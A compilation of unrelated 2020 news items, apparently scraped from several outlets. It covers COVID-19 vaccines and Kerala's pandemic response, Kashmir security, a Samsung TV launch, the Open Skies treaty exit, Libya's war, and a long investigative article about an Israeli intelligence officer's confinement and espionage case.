Prof Shattock said he believed there is a 'very high chance of seeing a number of vaccines that work' as he said the evidence suggested coronavirus is 'not such a hard target as others'.

He added: 'My gut feeling is that we will start to see a number of candidates coming through with good evidence early towards next year - possibly something this year.

'But they won't be readily available for wide scale use into the beginning of next year as the kind of most optimistic estimation.'

Six drugs for treating coronavirus are currently in clinical trials worldwide.

China has four potential vaccines in clinical trials at present, three of which have entered stage two.

Trials of one vaccine developed by Beijing-based company Sinovac Biotech in April appeared to arrest the development of Covid-19 in monkeys.

However, it used a Sars-Cov-2 virus, whereas the Oxford vaccine uses a weakened version of adenovirus (common cold) that causes infections in chimpanzees, with the coronavirus spike protein added to it.

Sinovac Biotech has secured land and loans for it to develop a facility to mass produce any effective vaccine.

The company has previously been involved in developing vaccines for hepatitis A, hepatitis B and H1N1 influenza.
The Indian state of Keralas strategy to tackle the coronavirus is being held up as a model on containing the pandemic even as other parts of the country struggle to stop its spread.

The state has 691 cases and the highest recovery rate of nearly 90 percent in India while the total infections in the country have crossed 100,000 and nearly 3,000 people have died.

Only three people have died in the state with a mortality rate of about 0.43 percent.

With a gross domestic product (GDP) per capita of $2,000, it has achieved one of the lowest COVID-19 mortality rates in the world as compared with the global average of just over 3 percent.

The United States with a GDP per capita of $65,000 has seen 94,000 deaths at the rate of 5 percent.

Keralas robust healthcare facilities under a communist party government seems to have helped the state turn the tide against the pandemic.

A relatively affluent population of 35 million, the state has the highest overall health index in the country.

In an email interview with Al Jazeera, Pinarayi Vijayan, the states chief minister, talks about the steps his government took to handle the worlds biggest global health crisis of our times.

Al Jazeera: Kerala seems to have been able to flatten the curve successfully while rest of India has struggled. How did Kerala contain the virus?

Pinarayi Vijayan: First and foremost, it is the resolute support extended by the people of Kerala in the fight against COVID-19 that has helped the state to emerge on top of the situation. The states early preparedness, focused healthcare interventions led by our public health system, effective lockdown measures assisted by law enforcement agencies, special economic package well in advance, timely assistance for migrant labourers, decentralised initiatives through the local self governments especially in taking care of those under quarantine and inter-departmental coordination, and so on have served as the pillars of the Kerala model against this pandemic.

Home quarantining of suspect cases, contact tracing of positive cases, adequate testing and specialised treatment have all ensured that positive cases have been treated effectively and cured. In a nutshell, all these have paved the way for our success in containing the virus.

Medical staff collect samples from people at a newly set up Walk-In Sample Kiosk to test for the coronavirus at Ernakulam Medical College in Kerala [File: Arun Chandrabose/AFP]

Al Jazeera: Kerala has the lowest COVID-19 mortality rates and has the highest recovery rate in the country. How did it achieve it?

Pinarayi Vijayan: We have lost three precious lives. Kerala has been able to tackle the health emergency effectively because of our robust public healthcare system. COVID-19 has proved to the world that public health systems are absolutely essential. The synergy between our health services, forces and local governments have ensured that measures for both prevention and cure have been in tandem with one another. All these together, ensured that by the time we flattened the curve, Kerala had the highest recovery rate and one of the lowest death rates in the world.

As of May 19, there are 142 positive cases in Kerala. So far, out of the 642 infected people, 497 have been cured. Still, as you have pointed out, our numbers are far better than even the most advanced and resourceful countries.

Al Jazeera: Did Keralas experience in fighting the 2018 Nipah virus outbreak help in handling the coronavirus outbreak?

Pinarayi Vijayan: Certainly, the wide range of experiences our state has had in fighting communicable diseases has in some senses given us a head start in the battle against COVID-19. It was during the Nipah virus outbreak that we had to focus on contact tracing of positive cases.

That experience enabled us to set up specialised teams comprising public healthcare experts, police officers, representatives in local self governments and officials in district administrations, to trace the contacts of positive cases this time around. That had a ripple effect in terms of quarantining, identifying suspect cases, conducting tests and so on.

Al Jazeera: The strict lockdown imposed by the government of Prime Minister Narendra Modi has created a migrant crisis. How did Kerala handle the crisis?

Pinarayi Vijayan: The lockdown is a means to limit interaction between people so that the transmission of the virus can be curtailed. However, it is not a magic wand that can be waved to address the health emergency at hand. We will have to supplement it with identifying suspect cases, quarantining them, conducting adequate tests, treating positive cases and tracing their contacts. This is a cyclical exercise that has to be continued till all those under treatment are cured and all those under quarantine are ascertained to be negative.

Under a lockdown, people are forced to give up their livelihoods and the most adversely affected ones would be the daily wage labourers. Almost all of the guest workers in Kerala are wage labourers. To ensure that they strictly adhere to the lockdown protocols, their needs will have to be met. It is the duty of the state to ensure that their needs are met. Kerala did that. We arranged relief camps for them, with adequate healthcare support and supplies for personal hygiene. Based on their preference, we provided cooked food or essential materials to cook with. When travel was allowed by the central government, we even arranged for their travel back to their home states. Over 300,000 guest workers have been assisted through around 20,000 camps during this period.

Al Jazeera: Do you fear a second wave of coronavirus? What are your plans for that?

Pinarayi Vijayan: Experts are pointing to the possibility of a deadlier second wave. Quarantining is a major part of the fight against this virus. Our home-quarantining method has proved to be very effective and efficient, and our expert committee has also recommended for it to be continued. Yet, sufficient institutional quarantine facilities have been prepared as well. To date, almost 200,000 bath-attached rooms have been readied. All items needed for the personal use of quarantinees will be provided. Food will be arranged through the community kitchens. For those who want to remain in quarantine at their own expense, rooms have been prepared in hotels and resorts too. Till date Rs 13.45 Crore ($1.7m) has been sanctioned from the SDRF (State Disaster Response Fund) for making the necessary arrangements.

If the situation worsens, quarantining alone wont do, hospitalisation will be required. We have arranged 49,702 beds in the 1,296 government hospitals in the state. They are equipped with 1,369 ICU beds and 800 ventilators as well. 81,904 beds are available in the 866 private hospitals with 6,059 ICU beds and 1,578 ventilators. 207 government hospitals have been prepared to treat those with symptoms. If the number of positive cases increases, 27 hospitals can be converted into exclusive COVID-19 care facilities. 125 private hospitals have also been readied to be utilised, if required. Kerala is geared up to face any eventuality.

Indian medical staff wearing full protective suits hold medical waste as they exit from the coronavirus isolated ward of the Ernakulam Government Medical College in Kochi, Kerala [File: Prakash Elamakkara/EPA]

Al Jazeera: What is being done to help the businesses and the poor as the lockdown wipes out businesses and livelihoods?

Pinarayi Vijayan: As far as the poor and vulnerable are concerned, Kerala has given them special attention during these difficult times. We have strived to ensure total social security. Accordingly, 55 lakh [5.5 million] people  elderly, differently abled and widows  in Kerala have been paid  8,500 ($112) each. We have also provided  1,000-5,000 ($13-66) to 46 lakh [4.6 million] persons registered in the various labour welfare funds. Fifteen kilogrammes (33 pounds) of rice and a kit of pulses and condiments have been distributed free of cost to every household as well. On top of all this till May 10, 8,226,264 (about eight million) free and subsidised meals have been served through the community kitchens and Kudumbashree hotels that we have set up ever since the lockdown began.

We are implementing two focused schemes in the aftermath of this pandemic. The first is Subhiksha Keralam, which is a programme aimed at ensuring the food security of Kerala. In just one year it will have an expenditure of Rs 3,860 Crore ($509m). The second is Vyavasaya Bhadratha, through which an assistance of Rs 3,434 Crore ($452m) will be granted to MSMEs (Medium, Small and Micro Enterprises).

Till now, the total economic cost due to the lockdown for Kerala is estimated at Rs 80,000 Cr ($10.5bn).

Al Jazeera: Kerala is expecting a huge influx of Malayalis from abroad, particularly Gulf countries. How do you plan to handle that? What will be its economic impact?

Pinarayi Vijayan: As a state government, within our limited means we are already providing assistance through NORKA [Non-resident Keralites scheme]. All COVID-19 positive patients, who are members of the Pravasi Welfare Fund [fund for expatriates], will be provided Rs 10,000 ($132) as emergency aid. Rs 5,000 ($66) will be granted to all those who have returned with a valid passport and work visa. Through NDPREM (NORKA Department Project for Return Migrants), assistance is being given to set up MSMEs and even to take up agriculture. Seed capital funding of up to Rs 3 million [$39,594] is available under this project.

We need to note that financially, it is the government of India that benefits the most from pravasis (expatriates) working in foreign countries. Inward remittances of our pravasis enrich Indias exchequer by way of the foreign currency that is deposited. However, GoI [government] is of the opinion that the responsibility of rehabilitation of returning migrants rests mainly with the states. Fundamentally, this approach needs to change. The Ministry of External Affairs is in charge of the Indian Community Welfare Fund [set up in 2009 to help distressed Indians overseas], which has not been utilised even to bring back our brothers and sisters in this time of distress. It needs to be creatively put to use to constitute a rehabilitation package for return migrants.

Right from the beginning we have been regularly pressurising for the safe return of our migrant brothers and sisters. We handed over the details to the government of India. Over the last one week the first phase of their arrival has been completed. As of May 19, 6,054 pravasis have returned from abroad.
In a no-holds-barred interview with Republic TV, Lt. General BS Raju, GOC, Chinar Corps Commander, which looks after the Kashmir region and the highly active Line of Control (LoC) exposed the nefarious activities of Pakistan. In the last few months, there has been an escalation in violence in the Valley.

The security forces have carried out 27 operations in the last four months, neutralising 64 terrorists and apprehending a large number of over ground workers (OGW). The top commander, in an exclusive interview, elaborates on the Pakistan link.

This time the new phePnomena that have come to the fore is Pakistans attempt to infiltrate terrorists little earlier than normal. The months of December when the terrain is difficult and typically we havent seen much infiltration. But this time it is special. Pakistan has put a very focused effort to start early infiltration, says Lt. Gen BS Raju.

READ | Army's Chinar Corps Helps Link Residents Of J&K's Niru Village After Snow Causes Cut-off

Hizbul leadership eliminated

This summer the Indian security forces have carried out very sensitive operations leading to the elimination of the top leadership of Hizbul Mujahideen. The killing of Riyaz Naikoo has sent jitters across the border.

Any elimination of the leadership will have a ripple effect. In the case of the last operation in which the head of Hizbul Mujahideen has definitely rattled Pakistan. Immediately after the elimination of the top leader of Hizbul, there was a certain amount of disarray and confusion among the terrorist tanzeems within the valley. We got some reports of infighting. Of late they are back. They have elected a new leader. The bottom line is we will continue with our operation professionally, added Lt. Gen BS Raju.

READ | 'Import Ban List Will Not Restrict Procurement Of Technologies,' Says Army Vice Chief

Situation in the Valley stable

According to the Chinar Corps commander, the situation in the Valley is stable and the stability is a direct consequence of the synergised operations that are being carried out by the Indian Army, J&K Police, and other CAPF who are operating on the ground.

At this stage I would like to raise one thing of concern and importance that is the propaganda, misinformation, and fear-mongering that is being propounded by Pakistan. This particular issue is being coordinated by the ISPR. Pakistan is very good at propaganda. The mechanism is in place. The DG ISPR is part of it. The proxies have amplified this. As commander on the ground, I can tell you everything is under control.

On increased ceasefire violations, the top commander said, It is a reflection of Pakistans desire to push in more terrorists. We are prepared on the LoC. He also spoke of the emergence of new fronts like The Resistance Force. This new tanzeem is a rebranding of LeT. LeT is trying to rebrand. On the ground it will not make any major difference, he said.

READ | Terrorists Fire Rifles, Hurl Grenades At CRPF, Police Personnel In Pulwama

Pakistan is a state at war

On COVID management in Pakistan, BS Raju said, I am not sure if they have any strategy at all. Pakistan is a state at war with itself. They are home to various terrorist tanzeems. They have done a lot of harm to Pakistan and the world. FATF action has also taken place. Despite that Pakistan has not changed its strategy as far as India is concerned. In fact in the last 30 years we havent seen any change in Pakistan's approach towards the Valley.

The Lt. General was also optimistic about the situation in the valley after the abrogation of Article 370. After August 5, in December and January we saw people coming out on the streets. Even tourists had started coming. This really rattled Pakistan and this is why they have been desperate. The local awaam knows what is the truth.

READ | Al Qaeda Terror Convict Deported To India, Agencies To Probe Radicalisation Angle
San Francisco, May 22 : South Korean tech giant Samsung has launched its first outdoor 4K QLED TV called 'The Terrace' with an IP55 dust and water resistance rating.

According to the Verge, The Terrace QLED 4K Smart TV comes in 55-inch, 65-inch and 75-inch models. The 55-inch model is available at $3,455, the 65-inch is at $4,999, and the 75-inch display for $6,499.

Currently, the product is available in US and Canada and will come to Germany, Australia, New Zealand, and other regions later this year.

"With the introduction of The Terrace, we are thrilled to transcend the connected living room experience to the outdoors by delivering on engineering feats and content experiences that only Samsung can achieve," Jonghee Han, President of Visual Display Business at Samsung Electronics, said in a statement.

On 'The Terrace', Samsung increased the brightness to a maximum of 2,000 nits, so the picture will be brighter and reduce the reflection rate.

'The Terrace' boasts a 4K QLED panel with a 120Hz refresh rate, full-array local dimming, and Samsung's Quantum processor for upscaling HD images to 4K.

It features three HDMI ports, a LAN port, a Toslink optical audio output, and a USB port.

Meanwhile, Samsung has also introduced the Terrace Soundbar.

The Soundbar can sync with the Terrace TV's audio via Bluetooth, in keeping with Samsung's "no wires but the power cord" pitch for its new outdoor Terrace products.

The Terrace Soundbar will cost $1,200 and is slated to ship at the end of May.

-- The story has been published from a wire feed without any modifications to the text
Caplan went on to work at the Library of Congress and as a librarian at the Noyes Library for Young Children in Kensington, where she was employed from the mid-1960s until the early 1980s. She was recognized for starting a Penny Theatre program at several Montgomery County library branches.
U.S. To Exit Open Skies Treaty Over Russian Violations

By RFE/RL May 21, 2020

The United States has announced that it will withdraw from the Open Skies treaty because of violations of the agreement by Russia.

Washington on May 22 will notify the other 34 signatories to the accord that it was giving a six-months notice to leave, as required by the treaty, the State Department said in a statement.

"We may, however, reconsider our withdrawal should Russia return to full compliance with the Treaty," it said.

"I think we have a very good relationship with Russia," U.S. President Donald Trump told reporters. "But Russia didn't adhere to the treaty. So, until they adhere, we will pull out."

He said there was a "very good chance we'll make a new agreement or do something to put that agreement back together."

Russian Deputy Foreign Minister Aleksandr Grushko said the U.S. departure from the treaty would be a "blow" to European security.

Trump was trying to justify the exit from a "fundamental treaty" via "technical issues" that should be resolved within the treaty, Grushko said.

The 18-year-old treaty, which includes Russia, aims to increase international stability by allowing signatory nations to conduct surveillance flights over one another's territories to observe military installations and other objects.

The White House has accused Russia of violating the treaty, saying Moscow has been blocking the United States from conducting flights over the Baltic Sea city of Kaliningrad and near Georgia, which are permitted by the agreement.

The withdrawal is the latest move by Trump to unilaterally pull the United States from a major global treaty. Last year, Washington withdrew from the Intermediate-Range Nuclear Forces Treaty with Russia.

The exit is likely to strain relations with Moscow and upset European allies and some members of the U.S. Congress.

The concept of allowing Russia and the United States to conduct aerial reconnaissance flights over each other's territory was first put forward by President Dwight Eisenhower in July 1955. But the Soviet Union balked at the idea.

There was no movement toward a treaty until 1989 when President George H.W. Bush breathed new life into it. It still took until January 2002 before the treaty entered into effect.

With reporting by The New York Times, AP, Reuters, and AFP

Source: https://www.rferl.org/a/us-says-it-will -exit-open-skies-treaty-over- russian-violations/30626067.html

Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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In what can only be considered as the coming together of two kings, the smartphone for everyone brand, itel Mobile has unveiled Afro-pop star, Olamide Adedeji as its official brand ambassador.

The signing of the famous Afro-pop star is informed by the brands desire to enhance consumer engagement and endear more fans to her community.

itel Mobiles choice of Olamide as the face of the brand brings to bear connecting similarities between their target audience and acceptance, with both brands serving mass markets. itel Mobile is a leader in the smartphone mass market in Nigeria offering reliable and affordable smartphones for everyone, while Olamide makes popular music for the streets, rolling out frequent hits they can relate with.

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We are delighted to have Olamide in the itel Mobile family at this time. The choice of Olamide as the face of our brand is based on the many similarities between both brands. Both brands have been able to stay on top of their games, we are both leaders in our spaces. Olamide is the king of hip-hop and street music, itel is the king of smartphones in the mass markets. Olamide and itel complement each other, hence the collaboration. Both brands are Real Kings, blessed with a community of hardworking and aspirational individuals. The best is beginning to take shape. said Oke Umurhohwo, Marketing Communications Manager (West Africa), itel Mobile, on the partnership.

Commenting on the partnership between both brands, Olamide Adedeji observed that it feels very special working with a great brand that shares similar goals with you. This is more than a mere partnership; it is a relationship that would bring satisfaction and happiness to our audiences. I look forward to the great things we will do together in the days ahead.

The unveiling was staged online via itel Mobiles social media pages and attracted over 500,000 views across different social media platforms while it lasted.

itel Mobile is a leading smartphone brand in the Nigerian and African markets. The brand provides affordable and reliable smartphones for everyone. itel Mobile has multiple awards and recognitions under its belt, including the leader of the smartphone mass market and the most student-friendly smartphone brand in Nigeria.
The Health and Human Services inspector general will begin examining how effectively the agency distributed $50 billion to health care providers to weather the coronavirus pandemic, the watchdog said on Friday.

The big picture: This oversight only captures a portion of one piece of the federal aid that hospitals and health care providers are eligible to receive.

Details: Hospitals can collect coronavirus funds through two primary sources, Axios' Bob Herman reports:

A $175 billion bailout fund that does not have to be repaid. The $50 billion being audited is part of this reserve.

Advance payments from Medicare that function as loans and must be repaid.

Between the lines: Critics  including small doctors' groups and Medicaid providers  have questioned whether federal officials are distributing the funds appropriately.

Go deeper: The hospitals that have disclosed bailout funds so far
GNA takes military camp south of Tripoli Drops flyers onto Tarhouna

(ANSAmed) - TUNIS, MAY 22 - While forces answering to Libya's Government of National Accord (GNA) on Friday took control of the military base Tikbali south of Tripoli, fighting raged on several fronts.



Libya Observer reported the news on Twitter. Meanwhile, the Volcano of Rage operation noted that the GNA's air force had dropped flyers on Tarhouna, calling for fighters to lay down their arms. The city's residents were instead asked to remain in their homes and stay away from places were ''armed people'' are. ''Those who lay down their arms will be safe,'' the flyers claim. Tarhouna, 90 km from the capital, was taken by the self-proclaimed Libyan National Army (LNA) under general Khalifa Haftar at the beginning of the military campaign against Tripoli that began in April 2019.(ANSAmed).




An officer in Unit 504, which runs agents abroad, was embroiled in one of the ugliest episodes in the history of Israel's military intelligence. Fearing he would talk, the authorities decided to ensure his voice wouldn't be heard





by Yossi Melman





Loaded with tranquilizers and psychiatric drugs, he was gripped by three male nurses in white gowns, who took him to the treatment room. He was apathetic, his eyes were glazed, his gaze unfocused. They made him lie on a bed and attached electric cables to his head. This was the first electric shock treatment administered to Maj. Amit, a former outstanding intelligence officer in Israel Defense Forces Unit 504, which operates agents abroad. Eleven more treatments were to follow.





Amit, left, with Maj. Gen. Mordechai Gur and Col. Benjamin Inbar.

The time was the late 1970s. The location: the Mazor psychiatric hospital in Acre, in northern Israel. The background is one of the darkest and ugliest episodes of Israeli intelligence; any and all information about it is still sealed. Because of the gag orders, I will code name it Addictive Candy, for the purpose of this article. It involved systematic illegal activity by the state over many years, and publication of its details could bring disgrace to many former intelligence officials and give Israel a bad name.





Amit  who prefers not to reveal his first name  played a secondary role in the affair, until he asked to be relieved. The security authorities, for their part, were apprehensive that he would not keep the affair secret and decided to go to extreme lengths to prevent him from talking. They might have gone too far.





Initially he was charged with espionage, no less  the allegation being that he had shared details of the operation with members of the unit who lacked the proper security clearance. It was also claimed that he had been a drug dealer. Later, the army authorities said they would drop the charges if he would agree to be confined to a closed ward. The confinement and the electroconvulsive treatments were only part of a lengthy saga of threats and humiliations by the army, the police and the Shin Bet security service. Its height came in the 1980s, when Amit was again charged with espionage, this time for initiating contact with CIA agents. For that, he was sentenced to 12 years in prison.





I have been following Amits story for more than 20 years. A host of disturbing questions still hover over it, and wont go away. During this whole period I have attempted time and again to report the tale of the Addictive Candy operation. I failed. The stubborn insistence by the intelligence bodies to conceal and bury the story brought me to the conclusion that it stemmed from shame, and not from real concern for national security. The security authorities and the courts blocked every attempt of mine by means of secrecy ordinances, gag orders and sweeping censorship.





Recently I tried again to shatter the conspiracy of silence, along with journalist Doron Galezer and attorney Shlomy Zachary, and backed by former senior military and government figures, including an Israel Defense Forces general, who believe, as we do, that the time has come to shed light on this old case. Once again, however, the justices of the Supreme Court, in a closed-door session, decided to reject the request, after hearing the director of Military Intelligence, Gen. Tamir Hayman, ex parte.





This article is based on conversations with a large number of intelligence officers and lawyers, all of whom asked not to be identified, as well as on medical records and legal documents.





For his part, Amit has remained silent for years. Now, at the age of 75, he is ready to tell his life story, in the hope of righting some of the wrong he feels was done to him. Next week, via his lawyer Elad Mann, he will submit a new petition to the Supreme Court demanding that the security authorities turn over all relevant documents to him.





Three bullets in the stomach





Amit was born in Haifa in 1945, an only child. His father was a police officer in the Haifa district, a strong and dominating person, he says. He brought home the tension from his police work and sometimes burst out at me for all kinds of things. I loved him, but I knew children who loved their fathers more than I did.





*** The background is one of the darkest and ugliest episodes of Israeli intelligence. The publication of its details could bring disgrace to many former intelligence officials and give Israel a bad name. ***





Upon being drafted, he was sent to a naval course. That wasnt for me, he says. I took part in a few operations in Lebanon, and from the moment we set sail, I would be throwing up like crazy. Toward the end of the course, when we returned from a training cruise near Barcelona, I left.





During his military service Amit got married; he and his wife have two children.





After his short-lived naval experience, he joined the Border Police and served on the northern border, in the late 1960s, where he got into trouble for the first time. A terrorist force fired at [Moshav] Margaliot, he relates, and we decided that we would cross over the border and pursue them. We hit two of them. The paramedic who was with us claimed that I shot the third terrorist while he lay wounded on the ground. I found myself in a dilemma in the field, and I pumped another volley into him. It was a confirmation [of kill]. Anyway, the Military Police called me in for an interrogation, for killing a wounded terrorist. Luckily for me, Raful [Rafael Eitan, later IDF chief of staff], who was the division commander at the time, came to my aid and testified that we had operated exactly according to protocol.





Were those border ambushes scary?





Call me crazy, but theres one thing Im not afraid of: I am not afraid to die. Our mission was to defend the northern communities, and thats what we had to do. Besides that, I loved the country.

And today?





Dont make me laugh.





Amit was subsequently made operations officer in the elite Egoz reconnaissance unit, which occasionally carried out operations in Lebanon. It was the most beautiful time of my life, Amit recalls. Today, everything has changed. Back then, a soldier didnt always have to have a lawyer by his side. If guys took shoes or a watch from the terrorists they killed, no one made a fuss.





Amit was wounded seriously in 1972, when the army launched an extensive raid in Lebanon following the murder of the Israeli athletes in Munich. I took three bullets in the chest and the stomach, and then there was an RPG [rocket-propelled grenade] explosion. I was hit by 70 fragments of different sizes, Amir says, showing the scars. His injuries left him with a permanent limp.





When he realized that the wound would prevent his promotion to company commander in the unit, he decided he would leave the army. Just before his discharge, he happened to meet Lt. Col. Yehoshua Bar-Tikva, the commander of the northern district of Unit 504, who suggested that he join up. Amit hesitated, mulled it over, and finally agreed. That was a decision he regrets to this day.





Photo: Amit. Now, at 75, he is ready to tell his life story, in the hope of righting some of the wrong he feels was done to him.





Drug smuggling





Throughout most of its existence, Unit 504 was seen as unrestrained and uninhibited in its operations. In the first years after Israels establishment, the countrys borders were regularly breached in both directions. That made it easier to recruit agents to work on Israels behalf, but it also allowed enemy agents and drug smugglers to enter Israel. The smuggling served the unit up to a point, by providing the agents with a cover story, but the ties between smugglers and officers of Unit 504 created an opening for corruption. That problem was especially widespread in the north.





The unit was involved in a lot of things that were on the brink of criminal, says a former 504 officer. Apparently, there were officers who engaged in actual smuggling of drugs, gold, electrical devices, you name it. You have to understand that in the 1950s and 60s, it was no problem to cross the border and enter Lebanon or any other neighboring country. There was something very alluring in what the unit did. The whole business of intelligence and illegal commerce was very intermixed.





Senior Lebanese government figures were involved in their countrys drug operations, which were worth billions of dollars. Crime families figured out how to collaborate with the government in Beirut, with the Syrians and, after the occupation of South Lebanon by the IDF since the mid-1970s. Unit 504 was aware of the drug trade for decades, followed the route of the drugs  mostly hashish and opium  across the Middle East and also turned them to its own advantage.





Amit was posted to the units base on Mount Meron and was appointed to be a case officer  namely, a recruiter and handler of agents. He excelled in the job and earned praise from his superiors. Summing up a personal interview held with him in November 1974, one of his commanders, an officer with the rank of lieutenant colonel, wrote: I am pleased with the way he has taken to the job, and I see him as having the potential for making his way up the ladder of positions in the unit. He performs his duties seriously and sees his work in the unit as a challenge.





Amit served in Unit 504 during the Yom Kippur War in 1973-74 in Syria and later that year, the units commander, Col. Yigal Simon, promoted him to the rank of major and appointed him to command the units base in Nahariya, a seaside town not far from the Lebanese border. He performs his task very well, Simon wrote about him. I am convinced that he can further the base and the matters he is in charge of.





The bases sector of responsibility stretched from Rosh Hanikra on the border with Lebanon, along the Mediterranean Sea and inland to Hadera. Amit set out to recruit potential intelligence sources who arrived from Lebanon via sea and land.





How do you convince someone to become an agent or informant?





You can offer humanitarian and family aid; you can compensate him. Everything is possible. We live in the State of Israel, but next to the State of Israel is another state: the State of Intelligence. The State of Israel is nothing compared to the State of Intelligence. Their people can enter any place and do whatever they want.





Around this time a new commander, Col. Moshe Kristal took over in the unit. From the first minute I didnt get along with him, Amit relates. Toward the end of 1976, Kristal asked Amit to move to the units headquarters, in Tel Aviv. Amit was not inclined to make the move, but agreed in the end. Kristal refused to tell him in advance what he would be doing. Only once he had arrived at the Kirya  defense establishment headquarters  and signed a new secrecy form, was the mission made known to Amit. It was Addictive Candy, a top-secret, clandestine operation, known only to a very small group of intelligence officers.





*** 'We live in the State of Israel, but next to the State of Israel is another state: the State of Intelligence. The State of Israel is nothing compared to the State of Intelligence. Their people can enter any place and do whatever they want.' ***





In short order, I understood that I was mired in crap, he says. I returned exhausted and irritable from trips of hundreds of kilometers. My clothes had a strange aroma. My wife asked me what the smell was and I couldnt tell her. I met with dubious characters. I wanted out and I spoke to Kristal, but he refused.





Distressed, Amit turned to two female colleagues at headquarters  a master sergeant and an officer  and told them about his plight. Tell him to get me out of this crap, he implored them. It didnt help  on the contrary.

Dirty money





About four months later, police detectives arrested Amits driver, Boaz Yemini, and another civilian. They were found to be in possession of 19 kilos of hashish, worth about 100,000 shekels (about $28,000) in todays terms. Yemini admitted to possession and trafficking, adding that he had dealt in hashish and opium in the preceding months as well. He had done so, he added, with the knowledge of his commanding officer, Amit, who, according to Yemini, was also a partner to the deeds. Amit was also arrested and the investigation was transferred to the Military Police. Amit admitted to having told Yemini that he could do whatever he wanted, but denied his drivers allegation that he himself was involved in the drug deals.





Field Security officers and Amits superiors in 504 were appalled. Fearful that the units secrets would leak out and embarrass them, the entire IDF and the Israeli government, they clamped a strict gag order on the arrests and the investigation. Indictments were filed against Yemini and Amit in a military court. Yemini pleaded guilty and was sentenced to military prison for drug dealing. Amit was charged with drug dealing and also with espionage  for having shared information with the master sergeant and the officer without authorization and contrary to his undertaking of secrecy.





At a certain stage, Kristal and the MI brass realized that Amit was determined to fight the charges and maybe to go public and to prove his innocence in court. A trial, they worried, was liable to reveal information that would spark a world-wide scandal. This concern was part of the background to the offer made to Amit to revoke his indictment if he agreed to be committed to a psychiatric hospital.





The choice I faced was hospitalization or imprisonment for espionage, Amit says. His lawyer, Israel Inbar, leaped at the armys offer. In my view, it was coerced confinement with the purpose of silencing me and getting me out of the way, and they succeeded very well.





During his three-year confinement in the closed ward of Mazor, Amit felt he had lost every shred of humanity. On one of her visits to the hospital, his wife found out by chance that the doctors were treating him with electroconvulsive therapy. Under the law, physicians who wish to administer that form of therapy must get the consent of a first-degree relative. The electric shock treatments ceased following her complaint.





Amit became increasingly embittered after his release in 1982 from the hospital. He found a job as a private detective in Haifa and enrolled for academic studies. But the effects of his hospitalization and his medical condition made it impossible for him to conduct a normal life. He was restless and would disappear from home for hours, wandering the streets aimlessly.





In 1984, he chanced to meet a sergeant from the U.S. Marines, whose ship was anchored in Haifa port. The Marine introduced himself as David and the two became friends. Amit told David that he was a discharged officer and was weighing various business offers. David said he intended to retire from the Marines soon, move to Germany and start a clothing business. Amit was enthusiastic and David said he would stay in touch. Indeed, not long afterward he called from the United States and invited Amit to meet with him in Germany. The two met in the Savoy Hotel in Frankfurt and talked about establishing a joint business.









The letter from Amits lawyer, in advance of his Supreme Court appeal, asking the Mazor psychiatric hospital to send copies of all documents concerning his treatment.





Its not known whether David was a CIA recruiter or really just a sergeant in the Marines, but at the end of the meeting they agreed to meet the next day in a small town near Cologne. David arrived at the meeting accompanied by a man he introduced as Bob, who belongs to the good guys. The latter intimated to Amit that he knew about his service in MI, mentioned details that Amit had not told David about, and then said, We want your help. Amit replied that he was willing to work for American intelligence, but with the proviso that he would not provide information about Israel, only about Lebanon and Syria. In return, he asked for a salary and a U.S. passport. Bob replied, We can talk about that, but first wanted more details about Israel. Amit refused.





For his recruitment, Amit had to undergo tests to establish his credibility. A man and a woman came to his hotel room and conducted a psychometric diagnosis and a polygraph test. Amit, who understood by then which way the wind was blowing, deliberately lied and thus failed the test and decided to break off contact with Bob. Amit recalls that Bob offered him $2,000 for expenses but he declined, saying, I dont want your American dirty money.





The next day Amit went to the airport, knowing he would not see those people again.





You were an experienced intelligence officer, you knew the tricks, so why did you agree to meet with the Americans?





I wanted to get out of Israel, because of what I had been through. I was in distress, so the idea of starting a business with David was attractive to me. I am not naive. I was a handler and I knew what recruitment was. But even so, when David suggested that I meet with his friends, I had no idea where it would lead. I didnt think I would be a target for recruitment. I was ready to work for the Americans as a consultant on Lebanon and Syria. I knew Arabic and I told Bob that I was ready to help them with anything, only not against Israel. I didnt tell them a thing about Israel or military secrets.





The truth is that I was surprised that they knew more than I did about MI. When I understood that Bob was trying to take me down the slope of recruitment involving Israel, I realized that the only way out was to lie in the polygraph test, which I did. My warning lights should have lit up much earlier, and for that I feel remorse.





A flat tire





Amit went back to Israel to his routine, and to contending with daily mental distress  which included nightmares and jolting flashbacks. He was always on the lookout for anyone who was ready to listen to him talk about his distress. One such person, whom Amit considered a close friend, was Jimmy, a nickname adopted by Nazmi Wahsh Samaniya, who boasted that he was the first Bedouin in Israel to be recruited into the Paratroops. Jimmy, who is from Moshav Yaara, a mixed Jewish-Bedouin community in Galilee, was part of a group who used to hang out with personnel from 504 and from the Shin Bet. During one of Amits visits to friends in the moshav, Jimmy overheard what had transpired in Germany  and decided to pass on the information to a Shin Bet officer with whom he was in contact. Amit was put under surveillance.





On March 24, 1986, about two years after the trip to Germany, Amit and his wife went to the parking lot of their apartment building on Leon Blum Street in Haifa. They noticed that their car had a flat tire. As Amit was changing the tire, police officers pounced on him, handcuffing him and taking him to the police station in Petah Tikva, which housed the unit for international criminal investigations and the Shin Bet interrogations department.





During the entire car ride, no one spoke to me and I didnt know why I was being arrested, Amit recalls. I was thrown into a small cell, moldy and smelly, that wasnt even fit for animals. A few hours later he was taken for interrogation and accused of being a spy who had betrayed Israel and revealed its secrets. Amit denied this vehemently and refused to sign a confession. Every few days he was moved to a different detention facility: I was held in total isolation. They tried to humiliate me in order to break me. Warders spat into the food that had been thrown by the door and cursed me. When I was taken to court for additional remand, I was paraded through the street handcuffed, so everyone would see.





*** 'In my view, it was coerced confinement with the purpose of silencing me and getting me out of the way, and they succeeded very well.' ***





During Amits interrogations, the police officers mocked him and said he was mentally ill. Your wife will divorce you, they laughed. On one occasion, his son, then an officer in the Armored Corps, was brought in for questioning. Amit was threatened that if he did not cooperate his son would be ejected from the IDF. One police officer slapped his face. Finally, even though he denied the allegations of spying and of betraying Israel, he admitted the facts about meeting with the Americans.





His trial was held in 1986 in the Haifa District Court in camera and under rigorous censorship. Amit was convicted of being in contact with foreign agents, being in possession of secret documents and of aggravated espionage. The conviction was based on Amits confession, and on Jimmys testimony. Amit claimed that Jimmy had lied and fabricated evidence, but the three-judge panel sentenced Amit to 12 years in prison. He appealed to the Supreme Court, but the appeal was rejected. During his time in jail someone leaked to an Israeli-American newspaper that he had spied for Syria.





